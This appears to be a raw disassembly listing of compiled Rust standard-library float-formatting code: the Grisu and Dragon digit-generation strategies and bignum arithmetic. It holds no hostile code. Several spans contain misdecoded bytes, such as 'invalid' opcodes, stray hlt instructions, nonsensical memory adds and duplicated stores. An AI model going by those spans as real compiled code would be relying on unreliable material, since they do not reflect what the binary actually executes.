cmp r14w, di
jg 0x1a7f1b714eb
mov word [rsp + 0x158], 2
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x1a7f1b7075a
lea rax, str.0.NaNinfassertion_failed:_buf.len_____maxlen
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 2
mov word [rsp + 0x170], 0
mov qword [rsp + 0x178], rcx
mov edx, 2
jmp 0x1a7f1b7077a
lea rax, [0x1a7f1c58d7a]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
mov edx, 1
lea rax, [rsp + 0x158]
jmp 0x1a7f1b7150b
dec r10d
and r10d, 0x3f
mov eax, 1
mov r13, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x58]
nop dword [rax]
mov rdx, rax
mov ecx, r10d
shr rdx, cl
test rdx, rdx
jne 0x1a7f1b70823
cmp r11, rsi
jae 0x1a7f1b71560
add r15, r15
lea rdx, [r15 + r15*4]
mov r15, rdx
and r15, r14
add rax, rax
lea rax, [rax + rax*4]
mov ecx, r8d
shr rdx, cl
add dl, 0x30
mov byte [rsp + r11 + 0x3f8], dl
inc r11
cmp r9, r11
jne 0x1a7f1b707a0
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov edi, dword [rsp + 0x54]
mov word [rsp + 0x28], di
mov word [rsp + 0x20], bx
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x3f8]
mov r8, rsi
call fcn.1a7f1b69270
jmp 0x1a7f1b706de
mov qword [rsp + 0x98], 0
mov edi, dword [rsp + 0x54]
mov rbx, qword [rsp + 0x68]
mov rax, rbp
dec rax
je 0x1a7f1b7084a
bsr rax, rax
xor rax, 0x3f
jmp 0x1a7f1b7084f
mov eax, 0x40
sub rbx, rax
imul rax, rbx, 0x4d104d42
movabs r14, 0x1344135080
add r14, rax
shr r14, 0x20
xor eax, eax
xor ecx, ecx
mov rdx, qword [rsp + 0x78]
test rdx, rdx
cmove edx, eax
setne cl
inc rcx
mov qword [rsp + 0x150], rcx
mov dword [rsp + 0xb0], ebp
mov dword [rsp + 0xb4], edx
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
movups xmmword [rsp + 0xd8], xmm0
movups xmmword [rsp + 0xe8], xmm0
movups xmmword [rsp + 0xf8], xmm0
movups xmmword [rsp + 0x108], xmm0
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm0
movups xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0x148], 0
movups xmmword [rsp + 0x290], xmm0
movups xmmword [rsp + 0x284], xmm0
movups xmmword [rsp + 0x274], xmm0
movups xmmword [rsp + 0x264], xmm0
movups xmmword [rsp + 0x254], xmm0
movups xmmword [rsp + 0x244], xmm0
movups xmmword [rsp + 0x234], xmm0
movups xmmword [rsp + 0x224], xmm0
movups xmmword [rsp + 0x214], xmm0
movups xmmword [rsp + 0x204], xmm0
mov qword [rsp + 0x2a0], 1
mov dword [rsp + 0x200], 1
test r12w, r12w
js 0x1a7f1b70967
movzx edx, r12w
lea rcx, [rsp + 0xb0]
jmp 0x1a7f1b70976
neg r12d
movsx rdx, r12w
lea rcx, [rsp + 0x200]
call fcn.1a7f1b690e0
mov eax, r14d
neg eax
test r14w, r14w
cmovns rax, r14
lea r15, [rsp + 0x200]
lea rcx, [rsp + 0xb0]
cmovns rcx, r15
movzx edx, ax
call fcn.1a7f1b68cb0
mov r12, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x158]
mov r8d, 0xa0
mov rdx, r15
call fcn.1a7f1c22170
mov qword [rsp + 0x1f8], r12
movabs r9, 0x44b82fa09b5a53
mov rcx, r12
mov r8, rsi
cmp rcx, 0x29
jae 0x1a7f1b70a3b
test rcx, rcx
je 0x1a7f1b70a23
shl rcx, 2
xor r10d, r10d
nop dword [rax]
mov eax, dword [rsp + rcx + 0x154]
shl r10, 0x20
or r10, rax
mov rax, r10
shr rax, 9
mul r9
shr rdx, 0xb
imul rax, rdx, 0x3b9aca00
sub r10, rax
mov dword [rsp + rcx + 0x154], edx
add rcx, 0xfffffffffffffffc
jne 0x1a7f1b709f0
add r8, 0xfffffffffffffff7
cmp r8, 9
jbe 0x1a7f1b70a4e
mov rcx, qword [rsp + 0x1f8]
cmp rcx, 0x29
jb 0x1a7f1b709e0
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
call fcn.1a7f1c2fbe0
ud2
lea rax, [0x1a7f1c3a060]
mov r8d, dword [rax + r8*4]
test r8, r8
je 0x1a7f1b7161b
mov rcx, qword [rsp + 0x1f8]
cmp rcx, 0x29
jae 0x1a7f1b70a3b
test rcx, rcx
je 0x1a7f1b70ab6
shl rcx, 2
xor edx, edx
jmp 0x1a7f1b70a92
xor edx, edx
div r8
mov dword [rsp + rcx + 0x154], eax
add rcx, 0xfffffffffffffffc
je 0x1a7f1b70aac
mov eax, dword [rsp + rcx + 0x154]
shl rdx, 0x20
or rax, rdx
test rdx, rdx
jne 0x1a7f1b70a80
xor edx, edx
div r8d
jmp 0x1a7f1b70a85
mov rax, qword [rsp + 0x1f8]
jmp 0x1a7f1b70ab8
xor eax, eax
mov rcx, qword [rsp + 0x150]
cmp rax, rcx
cmovbe rax, rcx
cmp rax, 0x28
ja 0x1a7f1b715bb
test rax, rax
je 0x1a7f1b70ae3
cmp rax, 1
jne 0x1a7f1b70aea
xor edx, edx
xor r8d, r8d
jmp 0x1a7f1b70b41
xor eax, eax
jmp 0x1a7f1b70b8e
mov r9, rax
and r9, 0xfffffffffffffffe
xor r8d, r8d
xor edx, edx
nop word cs:[rax + rax]
movzx r8d, r8b
bt r8d, 0
mov r8d, dword [rsp + rdx*4 + 0xb0]
mov r10d, dword [rsp + rdx*4 + 0xb4]
adc dword [rsp + rdx*4 + 0x158], r8d
adc dword [rsp + rdx*4 + 0x15c], r10d
lea rdx, [rdx + 2]
setb r8b
cmp r9, rdx
jne 0x1a7f1b70b00
test al, 1
jne 0x1a7f1b70b41
test r8b, r8b
je 0x1a7f1b70b8e
jmp 0x1a7f1b70b76
mov r9d, dword [rsp + rdx*4 + 0x158]
mov r10d, dword [rsp + rdx*4 + 0xb0]
lea r11d, [r9 + r10]
movzx esi, r8b
add esi, r11d
setb r8b
mov dword [rsp + rdx*4 + 0x158], esi
add r9d, r10d
mov rsi, qword [rsp + 0x58]
jb 0x1a7f1b70b76
test r8b, r8b
je 0x1a7f1b70b8e
cmp rax, 0x27
ja 0x1a7f1b71574
mov dword [rsp + rax*4 + 0x158], 1
inc rax
mov qword [rsp + 0x1f8], rax
cmp rax, r12
cmovbe rax, r12
cmp rax, 0x29
jae 0x1a7f1b715bb
shl rax, 2
mov edx, 0xff
test rax, rax
je 0x1a7f1b70bf1
mov r9d, dword [rsp + rax + 0x1fc]
xor r8d, r8d
cmp r9d, dword [rsp + rax + 0x154]
setne r8b
cmova r8d, edx
add rax, 0xfffffffffffffffc
test r8b, r8b
je 0x1a7f1b70bb0
cmp r8b, 1
ja 0x1a7f1b70c0a
inc r14d
cmp r14w, di
jge 0x1a7f1b70c74
jmp 0x1a7f1b7130b
add rax, rsp
add rax, 0x200
cmp rax, r15
setne r8b
neg r8b
cmp r8b, 1
jbe 0x1a7f1b70bdf
test rcx, rcx
je 0x1a7f1b70c60
lea rdx, [rcx*4]
xor r8d, r8d
xor eax, eax
nop dword [rax]
mov r9d, dword [rsp + r8 + 0xb0]
lea r9, [r9 + r9*4]
lea rax, [rax + r9*2]
mov dword [rsp + r8 + 0xb0], eax
shr rax, 0x20
add r8, 4
cmp rdx, r8
jne 0x1a7f1b70c20
test rax, rax
je 0x1a7f1b70c62
cmp rcx, 0x27
ja 0x1a7f1b71598
mov dword [rsp + rcx*4 + 0xb0], eax
inc rcx
jmp 0x1a7f1b70c62
xor ecx, ecx
mov qword [rsp + 0x150], rcx
cmp r14w, di
jl 0x1a7f1b7130b
movsx rax, r14w
mov edx, r14d
sub edx, edi
movsx r8, di
sub rax, r8
cmp rax, rsi
movsx rbp, dx
cmovae rbp, rsi
test rbp, rbp
je 0x1a7f1b7130b
lea rsi, [rsp + 0x350]
mov r8d, 0xa0
mov rcx, rsi
mov rdx, r15
call fcn.1a7f1c22170
mov qword [rsp + 0x3f0], r12
mov edx, 1
mov rcx, rsi
call fcn.1a7f1b690e0
mov rsi, qword [rsp + 0x2a0]
lea rbx, [rsp + 0x2a8]
mov r8d, 0xa0
mov rcx, rbx
mov rdx, r15
call fcn.1a7f1c22170
mov qword [rsp + 0x348], rsi
mov edx, 2
mov rcx, rbx
call fcn.1a7f1b690e0
mov rsi, qword [rsp + 0x2a0]
mov r8d, 0xa0
lea rbx, [rsp + 0x158]
mov rcx, rbx
mov rdx, r15
call fcn.1a7f1c22170
mov qword [rsp + 0x1f8], rsi
mov edx, 3
mov rcx, rbx
call fcn.1a7f1b690e0
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x60], rax
mov r12, qword [rsp + 0x2a0]
xor edx, edx
mov rcx, qword [rsp + 0x150]
mov r10d, 0xff
cmp rcx, 0x29
jae 0x1a7f1b70a3b
mov r11, rdx
inc rdx
lea rax, [rcx*4]
xor esi, esi
nop dword [rax + rax]
cmp rax, rsi
je 0x1a7f1b71373
cmp dword [rsp + rsi + 0xb0], 0
lea rsi, [rsi + 4]
je 0x1a7f1b70d90
mov rax, qword [rsp + 0x78]
cmp rcx, rax
cmova rax, rcx
cmp rax, 0x29
jae 0x1a7f1b715bb
lea rsi, [rax*4]
nop word cs:[rax + rax]
test rsi, rsi
je 0x1a7f1b70df8
mov ebx, dword [rsp + rsi + 0x154]
xor edi, edi
cmp ebx, dword [rsp + rsi + 0xac]
setne dil
cmova edi, r10d
add rsi, 0xfffffffffffffffc
test dil, dil
je 0x1a7f1b70dd0
jmp 0x1a7f1b70e14
add rsi, rsp
add rsi, 0x158
lea r8, [rsp + 0x158]
cmp rsi, r8
setne dil
neg dil
cmp dil, 2
jae 0x1a7f1b70e32
test rax, rax
je 0x1a7f1b70ebf
cmp rax, 1
jne 0x1a7f1b70e3c
mov r8, r13
mov cl, 1
xor esi, esi
jmp 0x1a7f1b70e8a
xor esi, esi
mov rax, rcx
jmp 0x1a7f1b70eca
mov rdi, rax
and rdi, 0xfffffffffffffffe
mov cl, 1
xor esi, esi
nop word [rax + rax]
mov ebx, dword [rsp + rsi*4 + 0x158]
not ebx
movzx ecx, cl
bt ecx, 0
adc dword [rsp + rsi*4 + 0xb0], ebx
mov ecx, dword [rsp + rsi*4 + 0x15c]
not ecx
adc dword [rsp + rsi*4 + 0xb4], ecx
lea rsi, [rsi + 2]
setb cl
cmp rdi, rsi
jne 0x1a7f1b70e50
test al, 1
je 0x1a7f1b70eb7
mov r8, r13
mov edi, dword [rsp + rsi*4 + 0x158]
not edi
mov ebx, dword [rsp + rsi*4 + 0xb0]
lea r15d, [rdi + rbx]
movzx r13d, cl
add r13d, r15d
setb cl
mov dword [rsp + rsi*4 + 0xb0], r13d
add edi, ebx
mov r13, r8
jb 0x1a7f1b70ebf
test cl, cl
je 0x1a7f1b7163e
mov qword [rsp + 0x150], rax
mov sil, 8
mov rcx, qword [rsp + 0x68]
cmp rax, rcx
cmova rcx, rax
cmp rcx, 0x29
jae 0x1a7f1b70a3b
lea rdi, [rcx*4]
nop dword [rax + rax]
test rdi, rdi
je 0x1a7f1b70f18
mov r15d, dword [rsp + rdi + 0x2a4]
xor ebx, ebx
cmp r15d, dword [rsp + rdi + 0xac]
setne bl
cmova ebx, r10d
add rdi, 0xfffffffffffffffc
test bl, bl
je 0x1a7f1b70ef0
jmp 0x1a7f1b70f32
add rdi, rsp
add rdi, 0x2a8
lea r8, [rsp + 0x2a8]
cmp rdi, r8
setne bl
neg bl
cmp bl, 1
ja 0x1a7f1b70f57
test rcx, rcx
lea r15, [rsp + 0x200]
je 0x1a7f1b70ffd
cmp rcx, 1
jne 0x1a7f1b70f67
mov r9, r13
mov al, 1
xor edi, edi
jmp 0x1a7f1b70fbe
mov rcx, rax
lea r15, [rsp + 0x200]
jmp 0x1a7f1b71009
mov rbx, rcx
and rbx, 0xfffffffffffffffe
mov al, 1
xor edi, edi
nop word cs:[rax + rax]
mov r8d, dword [rsp + rdi*4 + 0x2a8]
not r8d
movzx eax, al
bt eax, 0
adc dword [rsp + rdi*4 + 0xb0], r8d
mov eax, dword [rsp + rdi*4 + 0x2ac]
not eax
adc dword [rsp + rdi*4 + 0xb4], eax
lea rdi, [rdi + 2]
setb al
cmp rbx, rdi
jne 0x1a7f1b70f80
test cl, 1
je 0x1a7f1b70ff5
mov r9, r13
mov ebx, dword [rsp + rdi*4 + 0x2a8]
not ebx
mov r15d, dword [rsp + rdi*4 + 0xb0]
lea r13d, [rbx + r15]
movzx r8d, al
add r8d, r13d
setb al
mov dword [rsp + rdi*4 + 0xb0], r8d
add ebx, r15d
mov r13, r9
lea r15, [rsp + 0x200]
jb 0x1a7f1b70ffd
test al, al
je 0x1a7f1b7163e
mov qword [rsp + 0x150], rcx
or sil, 4
mov rax, qword [rsp + 0x60]
cmp rcx, rax
cmova rax, rcx
cmp rax, 0x29
jae 0x1a7f1b715bb
lea rdi, [rax*4]
nop word [rax + rax]
test rdi, rdi
je 0x1a7f1b71058
mov r8d, dword [rsp + rdi + 0x34c]
xor ebx, ebx
cmp r8d, dword [rsp + rdi + 0xac]
setne bl
cmova ebx, r10d
add rdi, 0xfffffffffffffffc
test bl, bl
je 0x1a7f1b71030
jmp 0x1a7f1b71073
lea r8, [rsp + rdi]
add r8, 0x350
lea r9, [rsp + 0x350]
cmp r8, r9
setne bl
neg bl
cmp bl, 1
ja 0x1a7f1b71090
test rax, rax
je 0x1a7f1b7112d
cmp rax, 1
jne 0x1a7f1b71098
mov r9, r13
mov cl, 1
xor edi, edi
jmp 0x1a7f1b710ed
mov rax, rcx
jmp 0x1a7f1b71139
mov rbx, rax
and rbx, 0xfffffffffffffffe
mov cl, 1
xor edi, edi
nop word cs:[rax + rax]
mov r8d, dword [rsp + rdi*4 + 0x350]
not r8d
movzx ecx, cl
bt ecx, 0
adc dword [rsp + rdi*4 + 0xb0], r8d
mov ecx, dword [rsp + rdi*4 + 0x354]
not ecx
adc dword [rsp + rdi*4 + 0xb4], ecx
lea rdi, [rdi + 2]
setb cl
cmp rbx, rdi
jne 0x1a7f1b710b0
test al, 1
je 0x1a7f1b71125
mov r9, r13
mov r8d, dword [rsp + rdi*4 + 0x350]
not r8d
mov ebx, dword [rsp + rdi*4 + 0xb0]
lea r15d, [r8 + rbx]
movzx r13d, cl
add r13d, r15d
setb cl
mov dword [rsp + rdi*4 + 0xb0], r13d
add r8d, ebx
mov r13, r9
lea r15, [rsp + 0x200]
jb 0x1a7f1b7112d
test cl, cl
je 0x1a7f1b7163e
mov qword [rsp + 0x150], rax
add sil, 2
cmp rax, r12
mov rcx, r12
cmova rcx, rax
cmp rcx, 0x29
jae 0x1a7f1b70a3b
lea rdi, [rcx*4]
nop word cs:[rax + rax]
test rdi, rdi
je 0x1a7f1b71188
mov r8d, dword [rsp + rdi + 0x1fc]
xor ebx, ebx
cmp r8d, dword [rsp + rdi + 0xac]
setne bl
cmova ebx, r10d
add rdi, 0xfffffffffffffffc
test bl, bl
je 0x1a7f1b71160
jmp 0x1a7f1b7119b
lea r8, [rsp + rdi]
add r8, 0x200
cmp r8, r15
setne bl
neg bl
cmp bl, 1
ja 0x1a7f1b711bc
test rcx, rcx
mov edi, dword [rsp + 0x54]
je 0x1a7f1b7126f
cmp rcx, 1
jne 0x1a7f1b711c8
mov r9, r13
mov al, 1
xor edi, edi
jmp 0x1a7f1b7122b
mov rcx, rax
mov edi, dword [rsp + 0x54]
jmp 0x1a7f1b7127a
mov rbx, rcx
and rbx, 0xfffffffffffffffe
mov al, 1
xor edi, edi
nop word cs:[rax + rax]
mov r8d, dword [rsp + rdi*4 + 0x200]
not r8d
movzx eax, al
bt eax, 0
adc dword [rsp + rdi*4 + 0xb0], r8d
mov eax, dword [rsp + rdi*4 + 0x204]
not eax
adc dword [rsp + rdi*4 + 0xb4], eax
lea rdi, [rdi + 2]
setb al
cmp rbx, rdi
jne 0x1a7f1b711e0
test cl, 1
jne 0x1a7f1b71228
test al, al
mov edi, dword [rsp + 0x54]
jne 0x1a7f1b7126f
jmp 0x1a7f1b7163e
mov r9, r13
mov r8d, dword [rsp + rdi*4 + 0x200]
not r8d
mov ebx, dword [rsp + rdi*4 + 0xb0]
lea r15d, [r8 + rbx]
movzx r13d, al
add r13d, r15d
setb al
mov dword [rsp + rdi*4 + 0xb0], r13d
add r8d, ebx
mov r13, r9
mov edi, dword [rsp + 0x54]
lea r15, [rsp + 0x200]
jb 0x1a7f1b7126f
test al, al
je 0x1a7f1b7163e
mov qword [rsp + 0x150], rcx
inc sil
cmp r11, qword [rsp + 0x58]
je 0x1a7f1b71582
add sil, 0x30
mov byte [rsp + r11 + 0x3f8], sil
test rcx, rcx
je 0x1a7f1b712ef
lea r11, [rcx*4]
xor esi, esi
xor eax, eax
nop word cs:[rax + rax]
mov r8d, dword [rsp + rsi + 0xb0]
lea r8, [r8 + r8*4]
lea rax, [rax + r8*2]
mov dword [rsp + rsi + 0xb0], eax
shr rax, 0x20
add rsi, 4
cmp r11, rsi
jne 0x1a7f1b712b0
test rax, rax
je 0x1a7f1b712f1
cmp rcx, 0x27
ja 0x1a7f1b71574
mov dword [rsp + rcx*4 + 0xb0], eax
inc rcx
jmp 0x1a7f1b712f1
xor ecx, ecx
mov qword [rsp + 0x150], rcx
cmp rdx, rbp
jne 0x1a7f1b70d71
mov al, 1
mov rsi, qword [rsp + 0x58]
jmp 0x1a7f1b7130f
xor eax, eax
xor ebp, ebp
cmp r12, 0x29
jae 0x1a7f1b71605
test r12, r12
je 0x1a7f1b713a4
lea r8, [r12*4]
xor r9d, r9d
xor edx, edx
nop
mov r10d, dword [rsp + r9 + 0x200]
lea r10, [r10 + r10*4]
add r10, rdx
mov rdx, r10
shr rdx, 0x20
mov dword [rsp + r9 + 0x200], r10d
add r9, 4
cmp r8, r9
jne 0x1a7f1b71330
test rdx, rdx
je 0x1a7f1b713a7
cmp r12, 0x27
ja 0x1a7f1b71574
mov dword [rsp + r12*4 + 0x200], edx
inc r12
jmp 0x1a7f1b713a7
mov rdx, qword [rsp + 0x58]
cmp rbp, rdx
ja 0x1a7f1b71658
mov r8, rbp
sub r8, r11
je 0x1a7f1b714d9
lea rcx, [rsp + r11]
add rcx, 0x3f8
mov dl, 0x30
call fcn.1a7f1c22810
jmp 0x1a7f1b714d9
xor r12d, r12d
mov qword [rsp + 0x2a0], r12
cmp rcx, r12
cmova r12, rcx
cmp r12, 0x29
jae 0x1a7f1b71605
shl r12, 2
mov ecx, 0xff
nop dword [rax]
test r12, r12
je 0x1a7f1b71402
mov r8d, dword [rsp + r12 + 0x1fc]
xor edx, edx
cmp r8d, dword [rsp + r12 + 0xac]
setne dl
cmova edx, ecx
add r12, 0xfffffffffffffffc
test dl, dl
je 0x1a7f1b713d0
movzx eax, dl
cmp eax, 1
je 0x1a7f1b71436
jmp 0x1a7f1b714d0
lea rcx, [rsp + r12]
add rcx, 0x200
cmp rcx, r15
sete cl
test al, cl
je 0x1a7f1b714d0
lea rcx, [rbp - 1]
cmp rcx, rsi
jae 0x1a7f1b715ab
test byte [rsp + rcx + 0x3f8], 1
je 0x1a7f1b714d0
cmp rbp, rsi
ja 0x1a7f1b71669
mov r8, 0xffffffffffffffff
mov rcx, rbp
nop dword [rax]
test rcx, rcx
je 0x1a7f1b71488
mov rax, rcx
dec rcx
inc r8
cmp byte [rsp + rax + 0x3f7], 0x39
je 0x1a7f1b71450
inc byte [rsp + rcx + 0x3f8]
cmp rax, rbp
jae 0x1a7f1b714d0
lea rcx, [rsp + rax]
add rcx, 0x3f8
mov dl, 0x30
call fcn.1a7f1c22810
jmp 0x1a7f1b714d0
invalid
test rbp, rbp
test rbp, rbp
je 0x1a7f1b714b2
and eax, 0xf82484c6
mov byte [rsp + 0x3f8], 0x31
add eax, dword [rax]
add byte [rcx], dh
mov bl, 0x30
cmp rbp, 1
je 0x1a7f1b714b4
lea rcx, [rsp + 0x3f9]
lea r8, [rbp - 1]
mov dl, 0x30
call fcn.1a7f1c22810
and al, 0xf9
add eax, dword [rax]
add byte [rbp + rcx*4 + 0x45], cl
push qword [rdx + 0x1360e830]
or eax, dword [rax]
jmp 0x1a7f1b714b4
mov bl, 0x31
lea eax, [r14 + 1]
cmp r14w, di
jl 0x1a7f1b714cd
cmp rbp, rsi
jae 0x1a7f1b714cd
mov byte [rsp + rbp + 0x3f8], bl
inc rbp
mov r14d, eax
cmp rbp, rsi
ja 0x1a7f1b71635
lea rcx, [rsp + 0x3f8]
cmp r14w, di
jle 0x1a7f1b7070f
lea rax, [rsp + 0x158]
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov r8d, r14d
mov r9, qword [rsp + 0x90]
call fcn.1a7f1b693d0
mov r11, qword [rsp + 0x88]
mov r8, qword [rsp + 0x80]
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], cl
test byte [rax + rbp*4], ah
mov qword [rsp + 0x2a8], r8
mov qword [rsp + 0x2b0], r11
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2b8], eax
test byte [rax + rbp*4], ah
add al, byte [rax]
add byte [rcx + rcx*4 - 0x64], cl
and al, 0xb0
add al, byte [rax]
add byte [rax - 0x77], cl
mov dword [rsp + 0x2b8], eax
mov qword [rsp + 0x2c0], rdx
lea rdx, [rsp + 0x2a8]
mov rcx, r13
mov dword [rsp + 0x2b8], eax
mov qword [rsp + 0x2c0], rdx
lea rdx, [rsp + 0x2a8]
mov rcx, r13
call fcn.1a7f1b6fc10
nop
add rsp, 0x7f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov rcx, r11
mov rdx, rsi
call fcn.1a7f1c2fb60
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov ecx, 0x28
jmp 0x1a7f1b7159f
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
mov rcx, qword [rsp + 0x58]
mov rdx, rcx
call fcn.1a7f1c2fb60
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
call fcn.1a7f1c2fb60
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
jmp 0x1a7f1b7156a
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, rax
call fcn.1a7f1c2fbe0
ud2
lea rcx, [0x1a7f1c3a959]
lea r8, str.librarycore_src_num_flt2decmod.rs
mov edx, 0x25
call fcn.1a7f1c2fc60
ud2
lea rcx, [0x1a7f1c3a18f]
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov edx, 0x1c
call fcn.1a7f1c2fc60
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, r12
call fcn.1a7f1c2fbe0
ud2
lea rcx, [0x1a7f1c3bd3f]
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x1b
call fcn.1a7f1c2fc60
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
jmp 0x1a7f1b71670
lea rcx, str.assertion_failed:_noborrowassertion_failed:_digits___40assertion_failed:_other___0
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x1a
call fcn.1a7f1c2fc60
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
mov rcx, rbp
call fcn.1a7f1c2fbe0
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
mov rcx, rbp
mov rdx, rsi
call fcn.1a7f1c2fbe0
ud2
add al, byte [rax]
add byte [rax], al
cmp r11, r9
cmp ebx, ecx
cmp ebx, ecx
mov r12d, 1
cmove rsi, r12
hlt
add r10, 3
add byte [rax], al
add byte [rcx + 0xf], cl
hlt
hlt
hlt
test rdx, rdx
cmove r10, rsi
cmove edx, esi
cmove edx, esi
invalid
dec r10
lea rdx, [0x1a7f1c9e178]
movsxd r9, dword [rdx + r10*4]
xchg edx, eax
xchg edx, eax
add r9, rdx
jmp r9
mov r11b, 3
jmp 0x1a7f1b71737
mov r11b, 4
jmp 0x1a7f1b7177b
lea ecx, [r11 - 2]
movzx edx, cl
cmp dl, 3
mov ecx, 3
cmovb ecx, edx
test cl, cl
je 0x1a7f1b71800
mov r15, rax
shr r15, 0x3f
test rax, rax
lea rax, [0x1a7f1c58d79]
lea rdx, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
cmovs rdx, rax
lea r14, [0x1a7f1c3a952]
cmovs r14, rax
test r8b, r8b
cmove r14, rdx
mov edx, 1
cmovne r15, rdx
cmp cl, 1
je 0x1a7f1b71841
movzx eax, cl
cmp eax, 2
jne 0x1a7f1b71873
mov word [rsp + 0x1b0], 2
lea rax, [0x1a7f1c58d7a]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 1
jmp 0x1a7f1b71866
mov word [rsp + 0x1b0], 2
lea rax, [0x1a7f1c3a953]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 3
mov edx, 1
lea rax, [rsp + 0x1b0]
lea r14, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
xor r15d, r15d
jmp 0x1a7f1b72f55
mov word [rsp + 0x1b0], 2
lea rax, [0x1a7f1c3a956]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 3
lea rax, [rsp + 0x1b0]
jmp 0x1a7f1b72f55
test rbx, rbx
je 0x1a7f1b73100
lea rsi, [r12 + rbx]
mov rax, rsi
shr rax, 0x20
mov rcx, rsi
shl rcx, 0x20
lea edx, [rbp - 0x20]
test rax, rax
cmovne rcx, rsi
cmovne edx, ebp
mov rax, rcx
shr rax, 0x30
mov r8, rcx
shl r8, 0x10
lea r9d, [rdx - 0x10]
test rax, rax
cmovne r8, rcx
cmovne r9d, edx
mov rax, r8
shr rax, 0x38
mov rcx, r8
shl rcx, 8
lea edx, [r9 - 8]
test rax, rax
cmovne rcx, r8
cmovne edx, r9d
mov rax, rcx
shr rax, 0x3c
mov r9, rcx
shl r9, 4
test rax, rax
cmovne r9, rcx
lea eax, [rdx - 4]
cmovne eax, edx
mov rcx, r9
shr rcx, 0x3e
lea r10, [r9*4]
lea r8d, [rax - 2]
test rcx, rcx
cmovne r10, r9
cmovne r8d, eax
xor ecx, ecx
test r10, r10
setns cl
shl r10, cl
sub r8d, ecx
lea rax, [rbx - 1]
mov qword [rsp + 0x450], rax
mov word [rsp + 0x458], bp
mov ecx, ebp
sub cx, r8w
js 0x1a7f1b7311a
and ecx, 0x3f
mov rdx, 0xffffffffffffffff
shr rdx, cl
mov r9, rdx
and r9, rax
mov qword [rsp + 0x4f8], r9
cmp rax, rdx
ja 0x1a7f1b730d5
mov qword [rsp + 0x198], r14
mov qword [rsp + 0x1a0], r15
mov qword [rsp + 0x1a8], rdi
mov qword [rsp + 0x190], rsi
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0x80], r11
shl rax, cl
mov qword [rsp + 0x450], rbx
mov word [rsp + 0x458], bp
mov r9, rdx
and r9, rbx
mov qword [rsp + 0x4f8], r9
cmp rbx, rdx
ja 0x1a7f1b730d5
mov edx, 0xffffffa0
sub edx, r8d
movsx edx, dx
lea edx, [rdx + rdx*4]
shl edx, 4
add edx, 0x153b0
imul r9, rdx, 0x7b4dc993
mov qword [rsp + 0x188], rbx
mov rdx, rbx
shl rdx, cl
shr r9, 0x26
and r9d, 0xfffffff0
lea rcx, [0x1a7f1c3a270]
mov r15, qword [r9 + rcx]
movzx r11d, word [r9 + rcx + 0xa]
mov dword [rsp + 0x30], r11d
mov r11, r10
shr r11, 0x20
mov rsi, r11
mov qword [rsp + 0xb0], r11
mov r10d, r10d
mov ebx, r15d
shr r15, 0x20
mov r11, r15
imul r11, r10
mov qword [rsp + 0x48], r11
mov r13, rbx
imul r13, rsi
imul r10, rbx
shr r10, 0x20
mov esi, r13d
add rsi, r10
mov edi, r11d
add rdi, rsi
add r8w, word [r9 + rcx + 8]
mov r14, rax
shr r14, 0x20
mov eax, eax
mov r9, r15
imul r9, r14
mov qword [rsp + 0x40], r9
mov r11, r15
imul r11, rax
imul r14, rbx
imul rax, rbx
shr rax, 0x20
mov r9d, r14d
add r9, rax
mov r10d, r11d
add r10, r9
mov r9d, edx
mov rsi, rdx
shr rsi, 0x20
mov r12, r15
imul r12, r9
mov rcx, rbx
imul rcx, rsi
imul rbx, r9
shr rbx, 0x20
mov edx, ecx
add rdx, rbx
mov ebx, r12d
add rbx, rdx
mov rdx, r15
imul rdx, qword [rsp + 0xb0]
sub rdi, 0xffffffff80000000
shr r13, 0x20
mov rax, qword [rsp + 0x48]
shr rax, 0x20
shr rdi, 0x20
neg r8d
sub r10, 0xffffffff80000000
shr r14, 0x20
mov qword [rsp + 0x70], r14
shr r11, 0x20
mov qword [rsp + 0x78], r11
shr r10, 0x20
mov r9, r15
mov qword [rsp + 0x178], rsi
imul r9, rsi
sub rbx, 0xffffffff80000000
shr rcx, 0x20
mov qword [rsp + 0x170], rcx
add r9, rcx
shr r12, 0x20
mov qword [rsp + 0x98], r13
mov qword [rsp + 0x88], rdx
